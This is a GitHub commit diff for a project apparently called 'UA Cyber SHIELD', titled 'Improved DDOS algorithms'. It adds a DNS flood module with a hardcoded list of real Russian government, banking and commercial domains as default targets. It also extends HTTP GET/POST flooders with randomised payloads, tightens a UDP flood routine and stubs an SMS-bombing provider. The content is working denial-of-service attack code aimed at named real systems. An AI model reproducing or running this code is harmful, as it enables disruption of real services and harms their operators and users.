Skip to content

Commit

Permalink
Improved DDOS algorithms
Browse files Browse the repository at this point in the history
  • Loading branch information
opengs committed Apr 23, 2022
1 parent 8a3524f commit a530d7f
Show file tree
Hide file tree
Showing 22 changed files with 558 additions and 34 deletions.
6 changes: 5 additions & 1 deletion package.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "shield",
"version": "1.0.3",
"version": "1.0.4",
"description": "Cyber security shield",
"productName": "UA Cyber SHIELD",
"author": "Mykola Zhyhallo <[email protected]>",
Expand Down Expand Up @@ -32,6 +32,8 @@
"fs": "^0.0.1-security",
"http-proxy-agent": "^5.0.0",
"https-proxy-agent": "^5.0.0",
"is-valid-domain": "^0.1.6",
"is-valid-http-url": "^1.0.3",
"node-localstorage": "^2.2.1",
"path": "^0.12.7",
"playwright-core": "^1.20.1",
Expand All @@ -43,6 +45,7 @@
"universal-analytics": "^0.5.3",
"user-agents": "^1.0.965",
"uuid4": "^2.0.2",
"valid-url": "^1.0.9",
"vue": "^3.0.0",
"vue-i18n": "^9.0.0",
"vue-router": "^4.0.0",
Expand All @@ -58,6 +61,7 @@
"@types/universal-analytics": "^0.4.5",
"@types/user-agents": "^1.0.2",
"@types/uuid4": "^2.0.0",
"@types/valid-url": "^1.0.3",
"@typescript-eslint/eslint-plugin": "^5.16.0",
"@typescript-eslint/parser": "^5.16.0",
"electron": "^17.1.0",
Expand Down
19 changes: 19 additions & 0 deletions src-bomber/providers/provider.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
export interface ProviderHit {
ok: boolean
}

export interface PhoneNumber {
countryCode: number
localPhone: number
}

export abstract class Provider {
abstract get name(): string

abstract setTarget(phone: PhoneNumber): void

abstract start(): void
abstract stop(): void

abstract execute (): Promise<ProviderHit>
}
11 changes: 10 additions & 1 deletion src-worker/algorithms/algorithm.ts
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ export interface ExecutionResult {
target: Target
}

export type AlgorithmType = 'get' | 'post' | 'udp_flood' | 'slowloris'
export type AlgorithmType = 'get' | 'post' | 'udp_flood' | 'slowloris' | 'dns_flood'
export type runningValidation = () => boolean

export abstract class Algorithm {
Expand All @@ -27,8 +27,17 @@ export abstract class Algorithm {
this.config = config
}

/**
* Check if target data is valid for this algorithm
*/
abstract isValid (target: Target): boolean

/**
* Check if algorithm can be executed for current target with current settings
*/
// eslint-disable-next-line @typescript-eslint/no-unused-vars
canExecute (target: Target): boolean { return true }

/**
* Run one iteration of the algorithm
*/
Expand Down
82 changes: 82 additions & 0 deletions src-worker/algorithms/dnsFlood.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
import IpRegex from './utils/ipRegex'
import isValidDomain from 'is-valid-domain'
import { Resolver } from 'dns/promises'

import { UDPFloodTarget } from '../external/targetsPool'
import { Algorithm, ExecutionResult } from './algorithm'

const BACKUP_SERVERS_DOMAINS = [
'yandex.ru',
'rostender.info',
'gosuslugi.ru',
'kremlin.ru',
'government.ru',
'pfr.gov.ru',
'rkn.gov.ru',
'mvd.gov.ru',
'rostender.info',
'cdek.ru',
'datrans.ru',
'qiwi.com',
'svo.aero'
] as Array<string>

export class DNSFlood extends Algorithm {
isValid (target: UDPFloodTarget): boolean {
const result = typeof target.ip === 'string' &&
IpRegex.v4({ exact: true, includeBoundaries: true }).test(target.ip) &&
typeof target.port === 'number' &&
target.port > 0 && target.port <= 65535
if (result === false) { return false }

if (target.domains !== undefined) {
if (!Array.isArray(target.domains)) return false
for (const domain of target.domains) {
if (!isValidDomain(domain)) return false
}
}

return true
}

canExecute (): boolean {
return this.config.useRealIP
}

async execute (target: UDPFloodTarget, isRunning: () => boolean): Promise<ExecutionResult> {
let packetsSend = 0
let repeats = 48 + Math.floor(Math.random() * 32)
const resolver = new Resolver({
timeout: 10000
})
resolver.setServers([`${target.ip}:${target.port}`])

const domainsList = (target.domains !== undefined && target.domains.length > 0) ? target.domains : BACKUP_SERVERS_DOMAINS

let randomTarget = null as string | null

while (repeats > 0 && isRunning()) {
repeats -= 1

if (randomTarget === null) {
randomTarget = domainsList[Math.floor(Math.random() * domainsList.length)]
}

try {
packetsSend += 1
if (this.config.logRequests) {
if (this.config.logTimestamp) {
console.log(`${new Date().toISOString()} | DNS | ${target.ip} | ${target.port}`)
} else {
console.log(`DNS | ${target.ip} | ${target.port}`)
}
}
await resolver.resolve4(randomTarget)
} catch (e) {
randomTarget = null
}
}

return { packetsSend, packetsSuccess: 0, target, packetsNeutral: packetsSend }
}
}
2 changes: 2 additions & 0 deletions src-worker/algorithms/group.ts
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ import { Get } from './get'
import { Post } from './post'
import { UDPFlood } from './udpFlood'
import { SlowLoris } from './slowloris'
import { DNSFlood } from './dnsFlood'

import { ProxyPool } from '../external/proxyPool'

Expand All @@ -15,6 +16,7 @@ export class AlgorithmGroup {
this.algorithmMap.set('post', new Post(config, proxyPool))
this.algorithmMap.set('udp_flood', new UDPFlood(config))
this.algorithmMap.set('slowloris', new SlowLoris(config))
this.algorithmMap.set('dns_flood', new DNSFlood(config))
}

getByType (algorithmType: AlgorithmType) : Algorithm {
Expand Down
27 changes: 27 additions & 0 deletions src-worker/algorithms/post.ts
Original file line number Diff line number Diff line change
@@ -1,7 +1,34 @@
import { SuperAgentRequest } from 'superagent'
import { PostTarget } from '../external/targetsPool'
import { SimpleHTTP } from './simpleHTTP'
import { getRandomValue } from './utils/randomGenerators'

export class Post extends SimpleHTTP {
get method (): 'POST' {
return 'POST'
}

protected beforeRequest (agent: SuperAgentRequest, target: PostTarget): SuperAgentRequest {
agent = agent.set('Content-Type', 'application/json')
agent = agent.send(this.makeRequestBody(target))
return agent
}

protected makeRequestBody (target: PostTarget): string | undefined {
let body = target.body

if (typeof body !== 'string') {
return undefined
}

if (Array.isArray(target.randomGenerators)) {
for (const generator of target.randomGenerators) {
if (typeof generator.name === 'string') {
body = body.replace(`%%%${generator.name}%%%`, () => getRandomValue(generator))
}
}
}

return body
}
}
52 changes: 37 additions & 15 deletions src-worker/algorithms/simpleHTTP.ts
Original file line number Diff line number Diff line change
@@ -1,4 +1,7 @@
import agent from 'superagent'
import agent, { SuperAgentRequest } from 'superagent'
import { isWebUri } from 'valid-url'

import { getRandomValue } from './utils/randomGenerators'

import CacheableLookup, { CacheInstance } from 'cacheable-lookup'
import QuickLRU from './utils/lru'
Expand All @@ -7,7 +10,7 @@ import { HttpProxyAgent } from 'http-proxy-agent'
import { HttpsProxyAgent } from 'https-proxy-agent'
import { SocksProxyAgent } from 'socks-proxy-agent'

import { GetTarget } from '../external/targetsPool'
import { GetTarget, PostTarget } from '../external/targetsPool'
import { Proxy, ProxyPool } from '../external/proxyPool'
import { Algorithm, Config, ExecutionResult } from './algorithm'

Expand All @@ -32,14 +35,11 @@ export abstract class SimpleHTTP extends Algorithm {
})
}

isValid (target: GetTarget): boolean {
if (typeof target.page !== 'string' || !target.page.startsWith('http')) {
return false
}
return true
isValid (target: GetTarget | PostTarget): boolean {
return isWebUri(target.page) !== undefined
}

async execute (target: GetTarget, isRunning: () => boolean): Promise<ExecutionResult> {
async execute (target: GetTarget | PostTarget, isRunning: () => boolean): Promise<ExecutionResult> {
// Setting up proxy config
let packetsSend = 0, packetsSuccess = 0

Expand All @@ -66,7 +66,7 @@ export abstract class SimpleHTTP extends Algorithm {

let success = true
while (success && repeats > 0 && isRunning()) {
success = await this.makeRequest(target.page, proxyAgent)
success = await this.makeRequest(target, proxyAgent)
packetsSend += 1
repeats -= 1
if (success) {
Expand All @@ -81,41 +81,49 @@ export abstract class SimpleHTTP extends Algorithm {
return { packetsSend, packetsSuccess, target, packetsNeutral: 0 }
}

protected async makeRequest (url: string, httpAgent: HttpProxyAgent | HttpsProxyAgent | SocksProxyAgent | null) {
protected async makeRequest (target: GetTarget | PostTarget, httpAgent: HttpProxyAgent | HttpsProxyAgent | SocksProxyAgent | null) {
try {
const headers = HttpHeadersUtils.generateRequestHeaders()
let request = agent(this.method, url)
const requestURL = this.makeRequestURL(target)
let request = agent(this.method, requestURL)
if (httpAgent !== null) {
request = request.agent(httpAgent)
}
request = request.ok(this.validateStatusFn)
request = request.set('Accept', headers.Accept)
request = request.set('Accept-Language', headers['Accept-Language'])
request = request.set('User-Agent', headers['User-Agent'])
request = this.beforeRequest(request, target)

const response = await request.timeout(this.config.timeout)

if (this.config.logRequests) {
const logURL = (typeof target.name === 'string') ? target.name : target.page
if (this.config.logTimestamp) {
console.log(`${new Date().toISOString()} | ${url} | ${response.status}`)
console.log(`${new Date().toISOString()} | HTTP | ${logURL} | ${response.status}`)
} else {
console.log(`${url} | ${response.status}`)
console.log(`HTTP | ${logURL} | ${response.status}`)
}
}

return true
} catch (e) {
if (this.config.logRequests) {
const logURL = (typeof target.name === 'string') ? target.name : target.page
if (this.config.logTimestamp) {
console.log(`${new Date().toISOString()} | ${url} | DOWN OR BLOCKED`)
console.log(`${new Date().toISOString()} | HTTP | ${logURL} | DOWN OR BLOCKED`)
} else {
console.log(`${url} | DOWN OR BLOCKED`)
console.log(`HTTP | ${logURL} | DOWN OR BLOCKED`)
}
}
return false
}
}

protected beforeRequest (agent: SuperAgentRequest, target: GetTarget | PostTarget): SuperAgentRequest {
return agent
}

protected makeRequestAgent (page: string, proxy: Proxy) {
if (proxy.scheme === 'socks4' || proxy.scheme === 'socks5') {
// throw new Error('Socks4 and socks5 are not implemented')
Expand Down Expand Up @@ -149,4 +157,18 @@ export abstract class SimpleHTTP extends Algorithm {
return new HttpProxyAgent(options)
}
}

protected makeRequestURL (target: GetTarget | PostTarget): string {
let url = target.page

if (Array.isArray(target.randomGenerators)) {
for (const generator of target.randomGenerators) {
if (typeof generator.name === 'string') {
url = url.replace(`%%%${generator.name}%%%`, () => getRandomValue(generator))
}
}
}

return url
}
}
26 changes: 19 additions & 7 deletions src-worker/algorithms/udpFlood.ts
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
import IpRegex from './utils/ipRegex'

import { createSocket } from 'dgram'
import { randomBytes } from 'crypto'

Expand All @@ -18,13 +20,17 @@ export class UDPFlood extends Algorithm {
}

isValid (target: UDPFloodTarget): boolean {
if (typeof target.ip !== 'string' || typeof target.port !== 'number') {
return false
}
return true
return typeof target.ip === 'string' &&
IpRegex.v4({ exact: true, includeBoundaries: true }).test(target.ip) &&
typeof target.port === 'number' &&
target.port > 0 && target.port <= 65535
}

canExecute (): boolean {
return this.config.useRealIP
}

async execute (target: UDPFloodTarget): Promise<ExecutionResult> {
async execute (target: UDPFloodTarget, isRunning: () => boolean): Promise<ExecutionResult> {
if (this.currentWorkers >= this.MAX_CONCURRENT_WORKERS) {
await sleep(50)
return { packetsSend: 1, packetsSuccess: 0, target, packetsNeutral: 1 }
Expand All @@ -36,13 +42,19 @@ export class UDPFlood extends Algorithm {
let packetsSend = 0
let repeats = 48 + Math.floor(Math.random() * 32)

while (repeats > 0) {
while (repeats > 0 && isRunning()) {
repeats -= 1

try {
const request = new Promise<number>((resolve, reject) => {
const rand = randomBytes(16 + Math.floor(Math.random() * 16))
console.log(`${new Date().toISOString()} | UDP | ${target.ip} | ${target.port}`)
if (this.config.logRequests) {
if (this.config.logTimestamp) {
console.log(`${new Date().toISOString()} | UDP | ${target.ip} | ${target.port}`)
} else {
console.log(`UDP | ${target.ip} | ${target.port}`)
}
}
client.send(rand, target.port, target.ip, (error, bytes) => {
if (error === null) {
resolve(bytes)
Expand Down
Loading

0 comments on commit a530d7f

Please sign in to comment.